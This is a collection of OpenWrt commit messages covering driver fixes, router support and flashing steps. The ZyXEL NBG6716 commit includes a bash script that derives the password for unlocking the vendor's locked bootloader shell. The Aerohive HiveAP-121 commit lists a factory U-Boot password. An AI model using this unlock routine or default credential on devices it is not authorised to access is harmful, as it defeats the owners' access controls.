better on stock driver.
The release notes since last time for wave-2:
* October 15, 2019: Only send beacon tx completion events if we can detect CT driver is being
used (based on ATH10k_USE_TXCOMPL_TXRATE2 | ATH10k_USE_TXCOMPL_TXRATE1 flags being set).
This should help CT firmware work better on stock driver.
* October 31, 2019: Compile out peer-ratecode-list-event. ath10k driver ignores the event.
* November 1, 2019: Fix rate-ctrl related crash when nss and other things were changed while
station stays associated. See bug: https://github.com/greearb/ath10k-ct/issues/96
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
c9b6668 ustream-ssl: skip writing pending data if .eof is true after connect
Fixes: CVE-2019-5101, CVE-2019-5102
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
The device path will be the same for the first phy. For all subsequent
phys, the path gets an extra +1, +2, ...
Move the code for converting path to phy and vice versa to a separate
library script shared by config detection code and the netifd wireless
handler script
Signed-off-by: Felix Fietkau <nbd@nbd.name>
With this commit, the WAN LED is triggered by the switch port state
instead of the eth0 netdev.
Otherwise, the LED is always illuminated, regardless of the WAN port
link state.
Signed-off-by: David Bauer <mail@david-bauer.net>
This enables PMKSA and opportunistic key caching by default for
WPA2/WPA3-Personal, WPA3-Personal and OWE auth types.
Otherwise, Apple devices won't connect to the WPA3 network.
This should not degrade security, as there's no external authentication
provider.
Tested with OCEDO Koala and iPhone 7 (iOS 13.1).
Signed-off-by: David Bauer <mail@david-bauer.net>
rt3883.mk contains both RT3662 and RT3883 device profiles, but commit
6a104ac772 set MTK_SOC to rt3883 for all devices. This patch fixes it,
and renames dts files accordingly. And SoC compatible strings are also
appended in the dts.
Fixes: 6a104ac772 ("ramips/rt288x,rt3883: Name DTS files based on scheme")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
base-files are added into subtarget directory like what's done
recently in ath79. For this subtarget, metadata checks are enforced
and a SUPPORTED_DEVICE is added to generate proper metadata.
Since we only have mt7629 support in 4.19, override KERNEL_PATCHVER
in target.mk for now.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This patch did the following things:
1. rename device compatible string
2. add earlycon into cmdline
3. add mac address location according to mt7629 eeprom layout
4. rename mtd partitions
5. replace spaces for indentation with tabs
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
When changing profile titles for this target, an empty Makefile
has been added by accident.
Fixes: 14d17306bc ("x86: make profile titles more verbose")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
https://patchwork.kernel.org/patch/11224189/
--
On 2019-10-28 06:07, wbob wrote:
> Hello Roman,
>
> while reading around drivers/net/wireless/ralink/rt2x00/rt2800lib.c
> I stumbled on what I think is an edit of yours made in error in march
> 2017:
>
> https://github.com/torvalds/linux/commit/41977e86#diff-dae5dc10da180f3b055809a48118e18aR5281
>
> RT6352 in line 5281 should not have been introduced as the "else if"
> below line 5291 can then not take effect for a RT6352 device. Another
> possibility is for line 5291 to be not for RT6352, but this seems
> very unlikely. Are you able to clarify still after this substantial time?
>
> 5277: static int rt2800_init_registers(struct rt2x00_dev *rt2x00dev)
> ...
> 5279: } else if (rt2x00_rt(rt2x00dev, RT5390) ||
> 5280: rt2x00_rt(rt2x00dev, RT5392) ||
> 5281: rt2x00_rt(rt2x00dev, RT6352)) {
> ...
> 5291: } else if (rt2x00_rt(rt2x00dev, RT6352)) {
> ...
Hence remove errornous line 5281 to make the driver actually
execute the correct initialization routine for MT7620 chips.
As it was requested by Stanislaw Gruszka remove setting values of
MIMO_PS_CFG and TX_PIN_CFG. MIMO_PS_CFG is responsible for MIMO
power-safe mode (which is disabled), hence we can drop setting it.
TX_PIN_CFG is set correctly in other functions, and as setting this
value breaks some devices, rather don't set it here during init, but
only modify it later on.
Fixes: 41977e86c984 ("rt2x00: add support for MT7620")
Reported-by: wbob <wbob@jify.de>
Reported-by: Roman Yeryomin <roman@advem.lv>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Acked-by: Stanislaw Gruszka <sgruszka@redhat.com>
--
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This commit adds support for the ZBT WE1026-H, an outdoor AP with
support for adding an internal LTE modem. The detailed specs are:
* CPU: MT7620A
* 2x 10/100Mbps Ethernet (LAN port has passive PoE support).
* 16/32 MB Flash.
* 128/256 MB RAM.
* 1x USB 2.0 port.
* 1x mini-PCIe slot (only USB2.0 bus).
* 1x SIM slot (standard size).
* 1x 2.4Ghz WIFI (rt2800).
* 1x button.
* 6x LEDS (4 GPIO-controlled).
* 1x micro-SD reader.
The following have been tested and working:
- Ethernet switch
- Wifi
- Mini-PCIe slot + SIM slot
- USB port
- microSD slot
- sysupgrade
- reset button
Installation and recovery:
In order to install OpenWRT the first time or ito recover the router,
you can use the web-based recovery system. Keep the reset button pressed
during boot and access 192.168.1.1 in your browser when your machine
obtains an IP address. Upload the firmware to start the recovery
process.
Notes:
* When binding the USB LED to a usbport, the LED is switched on all the
time due to the presence of an internal hub. Thus, it does not really
signal any USB-information.
* I only have the 32MB version and have only added support for this
device. However, the files are structured so that adding support for the
16MB version should be easy.
* Only the LAN port is accessible from the outside of the casing and LEDs
are not visible.
Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
[rebased onto base-files split, minor style fixes, removed use of
USB led as power LED]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit makes the following changes to the WE1026 DTS-files:
* The parts that are unique to the -5G-version (LED and 5GHz wifi)
are moved to a separate file, so that WE1026.dtsi can be referenced also
by the DTS for the -H version.
* Use the generic "flash"-name for the spi-nor node.
* Add label MAC.
All changes have been tested on the WE1026-5G-16M and work fine. I.e.,
the device works as before the DTS-changes.
Signed-off-by: Kristian Evensen <kristian.evensen@gmail.com>
Acked-by: Mathias Kresin <dev@kresin.me>
Acked-by: Alex Maclean <monkeh@monkeh.net>
Acked-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Acked-by: Petr Štetiar <ynezz@true.cz>
[minor style fixes, rebased onto base-files split, remove obsolete
gpio-keys comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch renames and reassembles the common definition for
Netgear R6xxx devices in mt7621.mk. The following goals should be
achieved:
- Give the node a more generic name instead of adding devices to it
- Use the common definition in the (less) similar R6220 node
- Include/exclude settings into the common definition so the common
node contains the common definitions
- Prepare for support of R6700 v2
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
TP-Link WBS210 v2 is an outdoor wireless CPE for 2.4 GHz with
two Ethernet ports based on Atheros AR9344
The device is the same as TP-Link CPE220 v2, but with higher TX power (27 dBm
instead of 12 dBm) and two antenna connectors instead of built-in antennas.
Specifications:
- SoC: Atheros AR9344
- RAM: 64MB
- Storage: 8 MB SPI NOR
- Wireless: 2.4GHz 300 Mbps, 2x RP-SMA connector, 27 dBm TX power
- Ethernet: 1x 10/100 Mbps with 24V POE IN, 1x 10/100 Mbps
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP: 192.168.0.100
Stock device TFTP adress: 192.168.0.254
The TP-Link WBS devices use the same GPIOs as the CPE devices,
except for the link4 LED. For this one, WBS devices use "2", while
CPE devices use "16". (Tested on WBS210 v2)
Signed-off-by: Bernhard Geier <freifunk@geierb.de>
[added comment about GPIO]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
UUID of ext4 volumes generated by make_ext4fs are determined by volume
label and it will all be 57f8f4bc-abf4-655f-bf67-946fc0f9f25b when label
is empty
Labeling them does not make them unique but tools like block command
from fstools have a better chance differentiating them
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
It contains a single change to vlist.h header file: "vlist: add more
macros for loop iteration". This is needed for newer version of fstools
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Set the image sequence number to SOURCE_DATE_EPOCH.
If not set, ubinize will use rand() as image sequence.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
There are two recent commits stating to add support for Netgear
WNDR4300, where the second one seems to be just leftover from
an earlier patch having been rebased.
Since the first patch already provides support in the most recent
state, just revert the second one.
This reverts commit cd87272eb2.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Based on OpenWRT Table of Hardware > Xiaomi > Xiaomi Mi WiFi Mini
Switch Ports Defaults:
0, 1: LAN
4: WAN
6: CPU
Port in Web GUI (word printed on bottom of case)
WAN(Internet) map to switch port 4
LAN1(.) map to switch port 1
LAN2(..) map to switch port 0
CPU map to switch port 6
current setting is 1 WAN/ 4 LAN port, fix it.
Signed-off-by: Chih-Wei Chen <changeway@gmail.com>
[rebased after base-files split, fixed commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far (nearly) all x86 profiles are called "Generic" which makes
it hard to distinguish them in special cases, like searching for a
specific profile (without pre-selecting target/subtarget).
To make this change locally working, remove the tmp/ folder to
force reload of menuconfig.
As these files are infrequently touched, the Copyright was updated
as well.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[changed commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- QCA9558 Soc
- 720/800 (CPU/DDR)
- 1x 10/100/1000 Mbps WAN Ethernet
- 4x 10/100/1000 Mbps LAN Ethernet
- 64 MB RAM (DDR2)
- 8 MB FLASH
- QCA9558 2.4 GHz 802.11bgn
- 1x USB 2.0
Flash instruction
WebUI:
Download *-factory.bin image, rename to tp_firmware.bin and upload
it via the firmwary upgrade function of the stock firmware WebUI.
Tftp:
Rename OpenWRT or original firmware to wr1045v2_tp_recovery.bin and
Change your computer ip in 192.168.0.66 and subnet mask in 255.255.255.0.
Router will obtain IP 192.168.0.86 for a few seconds while loading,
when reset button pressed at power On.
Signed-off-by: Rasim Kalimullin <neutrino.vm@gmail.com>
[rebased onto base-files split]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MAC address for the wmac 2.4 GHz radio of the Ubiquiti UniFi AC
family of devices is actually embedded in the mtd-cal-data, so there
is no need for mtd-mac-address (which was incorrectly forcing wmac
to have the same MAC as eth0). This makes it coherent with the stock
firmware and the ar71xx target:
· XX:XX:XX:X0:XX:XX eth0
· XX:XX:XX:X1:XX:XX ath0/wlan1 (2.4 GHz)
· XX:XX:XX:X2:XX:XX ath1/wlan0 (5 GHz)
Checked on a UniFi AC Mesh, a UniFi AC LR and a UniFi Lite.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
On nand subtarget, the default upgrade mechanism should be
nand_do_upgrade. This patch changes platform_do_upgrade()
accordingly.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
While most of the target's contents are split into subtargets, the
base-files are maintained for the target as a whole.
However, OpenWrt already implements a mechanism that will use (and
even prefer) files in the subtargets' directories. This can be
exploited to make several scripts subtarget-specific and thus save
some space.
In certain cases, keeping files in parent (=target) base-files was
more convenient, and thus no splitting was performed for those.
Note that this will increase overall code lines, but reduce code
per subtarget.
base-files ipk size reduction:
master (mt7621) 60958 B
split (mt7620) 46358 B (- 14.3 kiB)
split (mt7621) 48759 B (- 11.9 kiB)
split (mt76x8) 44948 B (- 15.6 kiB)
split (rt288x) 43508 B (- 17.0 kiB)
split (rt305x) 45616 B (- 15.0 kiB)
split (rt3883) 44176 B (- 16.4 kiB)
Run-tested on:
GL.iNet GL-MT300N-V2 (mt76x8)
D-Link DWR-116 (mt7620)
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"$(STAGING_DIR)/include" was carried over from buildroot-ng to OpenWrt
in commit 60c1f0f64d. buildroot has
dropped this directory a long time ago.
In OpenWrt the directory is still created by the PrepareStaging macro
and is part of the default TARGET_CPPFLAGS. But nothing at all installs
headers into this directory, nor should anything be installed under this
path.
Removing this directory from TARGET_CPPFLAGS will cut down the log noise
a bit. Not only will CPPFLAGS be shorter, there will be less warnings
set off by "-Wmissing-include-dirs" (or even failures when paired with
"-Werror"). After all the directory does not even _exist_ in the SDKs,
which are used on the build bots when building packages (see [1] and
[2]).
make[8]: Entering directory '/builder/shared-workdir/build/sdk/build_dir/target-aarch64_generic_musl/libmbim-1.20.0/src/common'
CC libmbim_common_la-mbim-common.lo
cc1: error: /builder/shared-workdir/build/sdk/staging_dir/target-aarch64_generic_musl/include: No such file or directory [-Werror=missing-include-dirs]
cc1: all warnings being treated as errors
[1] https://github.com/openwrt/packages/issues/10377
[2] https://github.com/openwrt/packages/pull/10378
Signed-off-by: Sebastian Kemper <sebastian_ml@gmx.net>
Acked-by: Jo-Philipp Wich <jo@mein.io>
Acked-by: Rosen Penev <rosenp@gmail.com>
For several devices, wmac MAC address is set from art 0x1002
explicitly by using mtd-mac-address although mtd-cal-data is
pulled from art 0x1000.
With the MAC address in 0x1002, the driver should automatically
use it when reading caldata from 0x1000. Thus, remove the
redundant mtd-mac-address for those devices.
This patch addresses the cases where the calibration data partition
is not labelled art, having been overlooked in the first patch.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This cosmetical patch converts IMAGE_SIZE, KERNEL_SIZE and
BLOCKSIZE definitions to kilobytes, as this is consistent and
easier to read/type.
An exception was made for asus_rt-ac58u, where the IMAGE_SIZE of
20439364 cannot be divided by 1024 (and also does not seem to
match anything in DTS).
Build-tested for all devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes several issues introduced with ZyXEL NBG6716 support:
- Inhomogeneous indent
- Wrong ath10k MAC patching function
- Wrong brackets for pad-to in nand.mk
- Add missing DEVICE_MODEL
- Remove k2t.sh include (copy/paste leftover)
Fixes: 99835e0999 ("ath79: add support for ZyXEL NBG6716")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The sender domain has a DMARC Reject/Quarantine policy which disallows
sending mailing list messages using the original "From" header.
To mitigate this problem, the original message has been wrapped
automatically by the mailing list software.
Enables radio resource management to be reported by hostapd to clients.
Ref: https://github.com/lede-project/source/pull/1430
Co-developed-by: Lorenzo Santina <lorenzo.santina@edu.unito.it>
Signed-off-by: Lorenzo Santina <lorenzo.santina@edu.unito.it>
Signed-off-by: Kyle Copperfield <kmcopper@danwin1210.me>
This device contains 2 flash devices. One NOR (32M) and one NAND (128M).
U-boot and caldata are on the NOR, the firmware on the NAND.
SoC: IPQ4019
CPU: 4x 710MHz ARMv7
RAM: 256MB
FLASH: NOR:32MB NAND:128MB
ETH: 2x GMAC Gigabit
POE: 802.3 af/at POE, IEEE802.3af/IEEE802.3at(48-56V)
WIFI: 1x 2.4Ghz Atheros qca4019 2x2 MU-MIMO
1x 5.0Ghz Atheros qca4019 2x2 MU-MIMO
USB: 1x 3.0
PCI: 1x Mini PCIe
SIM: 1x Slot
SD: 1x MicroSD slot
BTN: Reset
LED: - Power
- Ethernet
UART: 1x Serial Port 4 Pin Connector (UART)
1x Serial Port 6 Pin Connector (High Speed UART)
POWER: 12V 2A
Installation
------------
Initial flashing can only be done via u-boot using the following commands:
tftpboot openwrt-ipq40xx-generic-compex_wpj419-squashfs-nand-factory.ubi
nand erase.chip; nand write ${fileaddr} 0x0 ${filesize}
res
Signed-off-by: Daniel Danzberger <daniel@dd-wrt.com>
When ASLR_PIE was activated globally these drivers failed to build
because the user space LDFLAGS leaked into the kernel build process.
This was fixed in upstream Linux kernel commit ce99d0bf312d ("kbuild:
clear LDFLAGS in the top Makefile") which went into Linux 4.17. The
lantiq target is now on Linux 4.19 only and these exceptions are not
needed any more.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This patch adds ath79 support for Netgear WNR2200.
Router was previously supported by ar71xx target only (8 MiB variant).
Netgear WNR2200 has two flash versions - 8MiB sold in EU, US etc. and
16 MiB for Russia and China markets. Apart from flash size both variants
share the same hardware specification.
Specification
=============
* Description: Netgear WNR2200
* Loader: U-boot
* SOC: Atheros AR7241 (360 MHz)
* RAM: 64 MiB
* Flash: 8 MiB or 16 MiB (SPI NOR)
- U-boot binary: 256 KiB
- U-boot environment: 64 KiB
- Firmware: 7808 KiB or 16000 KiB
- ART: 64 KiB
* Ethernet: 4 x 10/100 LAN + 1 x 10/100 WAN
* Wireless: 2.4 GHz b/g/n (Atheros AR9287)
* USB: yes, 1 x USB 2.0
* Buttons:
- Reset
- WiFi (rfkill)
- WPS
* LEDs:
- Power (amber/green)
- WAN (amber/green)
- WLAN (blue)
- 4 x LAN (amber/green)
- WPS (green)
* UART: 4-pin connector JP1, 3.3V (Vcc, TX, RX, GND), 115200 8N1
* Power supply: DC 12V 1.5A
* MAC addresses: LAN on case label, WAN +1, WLAN +2
Installation
============
* TFTP recovery
* TFTP via U-boot prompt
* sysupgrade
* Web interface
Test build configuration
========================
CONFIG_TARGET_ath79=y
CONFIG_TARGET_ath79_generic=y
CONFIG_TARGET_ath79_generic_DEVICE_netgear_wnr2200-8m=y
CONFIG_ALL_KMODS=y
CONFIG_DEVEL=y
CONFIG_CCACHE=y
CONFIG_COLLECT_KERNEL_DEBUG=y
CONFIG_IMAGEOPT=y
CONFIG_KERNEL_DEBUG_INFO=y
CONFIG_KERNEL_DEBUG_KERNEL=y
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Required as dependency on dropbear config headers is not tracked in
dropbear build system
Fixes FS#2275
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
The kconfig symbol is an invisible one since its introduction. It is
not supposed to be enabled on its own.
Resolves FS#1821
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
"block mount" invokes "hotplug-call mount". It emits the following
error when mount is not present
hotplug-call call failed
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
This is related to the upstream kernel change 3b0f31f2b8c9 ("genetlink:
make policy common to family").
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
It's related to the upstream kernel commit adf82accc5f5 ("netfilter:
x_tables: merge ip and ipv6 masquerade modules").
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Due to rebase of the base-files split patch after adding support
for the ZyXEL NBG6716, its base-files were added to the generic
subtarget, although the device belongs to the nand subtarget.
This moves the definitions to their proper locations.
Fixes: 0130022bae ("ath79: split base-files into subtargets")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
[improve commit message, rebase]
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit adds support for the Aerohive HiveAP-121. It was previously
already supported in the ar71xx subtarget.
The following is copied from the commit which added ar71xx support:
Specification:
- SoC: Atheros AR9344-BC2A at 560MHz
- WiFi 1: 2.4GHz Atheros AR9340? - SoC
- WiFi 2: 5.0GHz Atheros AR9382-AL1A
- Memory: 128MB from 2x Nanya NT5TU32M16DG-AC
- SPI: 1MB Macronix MX25L8006E
- NAND: 128MB Hynix H27U1G8F2BTR-BC
- Ethernet: Atheros AR8035-A
- USB: 1x 2.0
- TPM: Atmel SC3204
Flashing:
1. Hook into UART (9600 baud) and enter U-Boot. You may need to enter
a password of administrator or AhNf?d@ta06 if prompted.
2. Once in U-Boot, download and flash LEDE factory image over tftp:
dhcp;
setenv serverip tftp-server-ip;
tftpboot 0x81000000 lede-ar71xx-nand-hiveap-121-squashfs-factory.bin;
nand erase 0x800000 0x800000;
nand write 0x81000000 0x800000 0x800000;
reset;
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit adds PCI support for the whole ath79 target. Previously,
this was only done in the generic and tiny subtargets.
With the introduction of the HiveAP-121, PCI will be a requirement for
all subtargets, thus moving PCI support to the target configuration.
Signed-off-by: David Bauer <mail@david-bauer.net>
For several devices, wmac MAC address is set from art 0x1002
explicitly by using mtd-mac-address although mtd-cal-data is
pulled from art 0x1000.
With the MAC address in 0x1002, the driver should automatically
use it when reading caldata from 0x1000. Thus, remove the
redundant mtd-mac-address for those devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Jeff Kletsky <git-commits@allycomm.com>
Tested-by: Karl Palsson <karlp@etactica.com>
Until upstream commit 6d4cd041f0af("net: phy: at803x: disable delay
only for RGMII mode"), delays were not disabled on driver probe
for the Atheros AR803x PHYs, although the RX delay is enabled on
soft and hard reset.
In addition, the TX delay setting is retained on soft-reset.
This patch disables both delays on config init to align the behavior
with kernel 5.1 and higher. It can be safely dropped with kernel 5.1.
Signed-off-by: David Bauer <mail@david-bauer.net>
This fixes frequent crashes observed on a UniFi AC Mesh using OpenWrt
master and 19.07. 18.06 seems not affected from our testing.
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit changes the source of the Wave 1 ath10k-firmware
from linux-firmware to Kall Valos ath10k-firmware repository.
This is necessary as the firmware selected in linux-firmware produces
frequent crashes in some circumstances.
This patch can be removed as soon as linux-firmware carries
10.2.4-1.0-00047 firmware.
Signed-off-by: David Bauer <mail@david-bauer.net>
The luci and freifunk feed having a common Makefile included by the
individual packages. Currently a change to this file will be ignored
when running "scripts/feeds update".
When we are updating for a feed, add a dependency for all .mk files
in the root of it.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
When the build system finds libpam, it enables building of these tools,
causing linker failures. Explicitly disable them as they are unused.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
While most of the target's contents are split into subtargets, the
base-files are maintained for the target as a whole.
However, OpenWrt already implements a mechanism that will use (and
even prefer) files in the subtargets' directories. This can be
exploited to make several scripts subtarget-specific and thus save
some space (especially helpful for the tiny devices).
The only script remaining in parent base-files is
/etc/hotplug.d/ieee80211/00-wifi-migration, everything else is
moved/split.
Note that this will increase overall code lines, but reduce code
per subtarget.
base-files ipk size reduction:
master (generic) 49135 B
split (generic) 48533 B (- 0.6 kiB)
split (tiny) 43337 B (- 5.7 kiB)
split (nand) 44423 B (- 4.6 kiB)
Tested on TL-WR1043ND v4 (generic) and TL-WR841N v12 (tiny).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is based on the EX6150v2, which should be identical to
the EX6100v2:
The device bears two MAC addresses ("MAC 1" and "MAC 2") that
correspond to phy0 and phy1.
The ethernet MAC address (gmac0) is the same as phy0.
As this one is accessible via local-mac-address in gmac0, the
latter is used for label-mac-device.
(Although this is a one-port, gmac1 also has a local-mac-address
assigned. This has the same vendor part as the other addresses,
but completely different data for the device part.)
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
If flash size is used as part of a device's title, it should be
specified as DEVICE_VARIANT like for the other devices so far.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This fixes the remaining IMAGE_SIZE issues in ath79 target.
All devices in target have been checked, so together with
previous patches this target should be "clean" afterwards.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, IMAGE_SIZE is set as follows:
tplink-4m* 3904k 0x3d0000
tplink-8m* 7936k 0x7c0000
tplink-16m* 15872k 0xf80000
However, based on the size of firmware partitions in DTS it should
be:
tplink-4m* 3904k 0x3d0000
tplink-8m* 8000k 0x7d0000
tplink-16m* 16192k 0xfd0000
All (!) 8m*/16m* devices actually follow the latter scheme, which
is also consistent in terms of left free space for other
partitions. Thus, fix it.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This addresses IMAGE_SIZE inconsistencies in generic_ubnt.mk by:
1. (cosmetical) Move IMAGE_SIZE out of top definition ("ubnt"),
since despite two all subdefinition have different values.
2. (change) Fix IMAGE_SIZE for ubnt-xm and ubnt-bz (7552k->7488k).
3. (cosmetical) Move IMAGE_SIZE of ubnt-wa devices to parent node
since all have same size (it is defined in parent DTSI ...).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Factory image generated for Netgear WNR1000 v2 has incorrect device
and hardware ID information in header due to missing makefile
variables. This fix adds them to device section.
Signed-off-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
Attention: Kernel partition size has been enlarged to 4MB.
To switch, you must update to latest ar71xx-nand snapshort and flash the
sysupgrade-4M-Kernel.bin:
zcat openwrt-ath79-nand-zyxel_nbg6716-squashfs-sysupgrade-4M-Kernel.bin | mtd -r -e ubi write - firmware; reboot -f
You will end up with a fresh config if you do not inject config into the image.
The NBG6716 may come with 128MB or 256MB NAND. ar71xx was able to use all, but
ath79 can only use the first 128MB. Therefore the complete NAND needs to be
overwritten. If not, the old UBI may make problems and lead to reboot loop.
Access the real u-boot shell:
ZyXEL uses a proprietary loader/shell on top of u-boot: "ZyXEL zloader v2.02"
When the device is starting up, the user can enter the the loader shell
by simply pressing a key within the 3 seconds once the following string
appears on the serial console:
| Hit any key to stop autoboot: 3
The user is then dropped to a locked shell.
|NBG6716> HELP
|ATEN x[,y] set BootExtension Debug Flag (y=password)
|ATSE x show the seed of password generator
|ATSH dump manufacturer related data in ROM
|ATRT [x,y,z,u] RAM read/write test (x=level, y=start addr, z=end addr, u=iterations)
|ATGO boot up whole system
|ATUR x upgrade RAS image (filename)
|NBG6716>
In order to escape/unlock a password challenge has to be passed.
Note: the value is dynamic! you have to calculate your own!
First use ATSE $MODELNAME (MODELNAME is the hostname in u-boot env)
to get the challange value/seed.
|NBG6716> ATSE NBG6716
|012345678901
This seed/value can be converted to the password with the help of this
bash script (Thanks to http://www.adslayuda.com/Zyxel650-9.html authors):
- tool.sh -
ror32() {
echo $(( ($1 >> $2) | (($1 << (32 - $2) & (2**32-1)) ) ))
}
v="0x$1"
a="0x${v:2:6}"
b=$(( $a + 0x10F0A563))
c=$(( 0x${v:12:14} & 7 ))
p=$(( $(ror32 $b $c) ^ $a ))
printf "ATEN 1,%X\n" $p
- end of tool.sh -
|# bash ./tool.sh 012345678901
|
|ATEN 1,879C711
copy and paste the result into the shell to unlock zloader.
|NBG6716> ATEN 1,0046B0017430
If the entered code was correct the shell will change to
use the ATGU command to enter the real u-boot shell.
|NBG6716> ATGU
|NBG6716#
Signed-off-by: André Valentin <avalentin@marcant.net>
- CMIIT ID: 2019AP2581
- SoC: MediaTek MT7621
- Flash: 16MiB NOR SPI (GigaDevice GD25Q128B)
- RAM: 128MiB DDR3 (ESMT M15T1G1664A)
- Serial: As marked on PCB, 3V3 logic, baudrate is 115200, 8n1
- Ethernet: 3x 10/100/1000 Mbps (switched, 2xLAN + WAN)
- WIFI0: MT7603E 2.4GHz 802.11b/g/n
- WIFI1: MT7612E 5GHz 802.11ac
- Antennas: 4x external (2 per radio), non-detachable
- LEDs: Programmable "power" LED (two-coloured, yellow/blue)
Non-programmable "internet" LED (shows WAN activity)
- Buttons: Reset
INSTALLATION:
Bootloader won't accept any serial input unless "boot_wait" u-boot
environment variable is changed to "on". Vendor firmware (looks like
an illegal OpenWrt fork) won't accept any serial input unless
"uart_en" is set to "1". Tricks to force u-boot to use default
environment do not help as it's restricted in the same way.
With bootloader unlocked the easiest way would be to TFTP the
sysupgrade image or to sysupgrade after loading an initramfs one.
For porting the flash contents were changed externally with an SPI
programmer (after lifting Vcc flash IC pin away from the PCB).
Forum thread [0] indicates that this device is identical to "Xiaomi Mi
Router 4A Gigabit Edition".
[0] https://forum.openwrt.org/t/xiaomi-mi-router-4a-gigabit-edition-r4ag-r4a-gigabit-fully-supported-but-requires-overwriting-spi-flash-with-programmer/36685
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
This patch removes a phy0tpt trigger from the power LED, which
seems to have been added by mistake.
WiFi LEDs using phy0radio and phy1radio triggers are present and
used correctly.
Cc: Birger Koblitz <mail@birger-koblitz.de>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In mt7628an.dtsi, calibration data for wmac is already defined:
mediatek,mtd-eeprom = <&factory 0x0>;
Thus, this patch removes redundant entries of this property in
derived DTS files.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
When caldata locations are defined with mediatek,mtd-eeprom the
MAC address is automatically read from offset +4. Thus, specifying
that location explicitly is redundant.
This patch removes those redundant definitions.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
generic: Add/rename patches for upstream consistency
ipq40xx: generic-level patch replaces same-source patches-4.19/
082-v4.20-mtd-spinand-winbond-Add-support-for-W25N01GV.patch
The SPI-NAND framework from Linux uses common driver code that is then
"tuned" by a tiny struct of chip-specific data that describes
available commands, timing, and layout (data and OOB data). Several
manufacturers and chips have been added since 4.19, several of which
are used in devices already supported by OpenWrt (typically with no or
"legacy" access to their NAND memory). This commit catches up the
supported-chip definitions through Linux 5.2-rc6 and linux/next.
The driver is only compiled for platforms with CONFIG_MTD_SPI_NAND=y.
This presently includes ipq40xx and pistachio, with the addition of
ath79-nand in these commits (and not ath79-generic or ath79-tiny).
Upstream patches refreshed against 4.19.75
Build-tested-on: ipq40xx
Run-tested-on: ath79-nand
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Rework DEVICE_VENDOR, DEVICE_MODEL, and DEVICE_VARIANT
for the GL-AR300M series on the ath79-generic target.
Changes GL-AR300M-Lite to the current form with
DEVICE_VARIANT := Lite (board name is unchanged)
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
The GL-AR750S has an internal header for I2C.
Provide DTS definitions for the i2c-gpio driver.
The I2C drivers; kmod-i2c-core, kmod-i2c-gpio
consume ~20 kB of flash and can be loaded as modules,
Default clock measured ~11.2 ms period, ~89 kHz
The board has well-labeled (unpopulated) headers for serial and I2C
along the front edge of the board (the edge with the LEDs). Looking
from the top, rear of the unit (behind Ethernet jacks)
-------------------------------------------
5G_LED 2G_LED PWR_LED
O O O O O O O
3 S S G T R G
V C D N X X N
3 L A D D
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
The GL-AR300M series have an internal header for I2C.
Provide DTS definitions for the i2c-gpio driver.
The I2C drivers; kmod-i2c-core, kmod-i2c-gpio
consume ~20 kB of flash and can be loaded as modules,
Default clock measured ~11.4 ms period, ~88 kHz
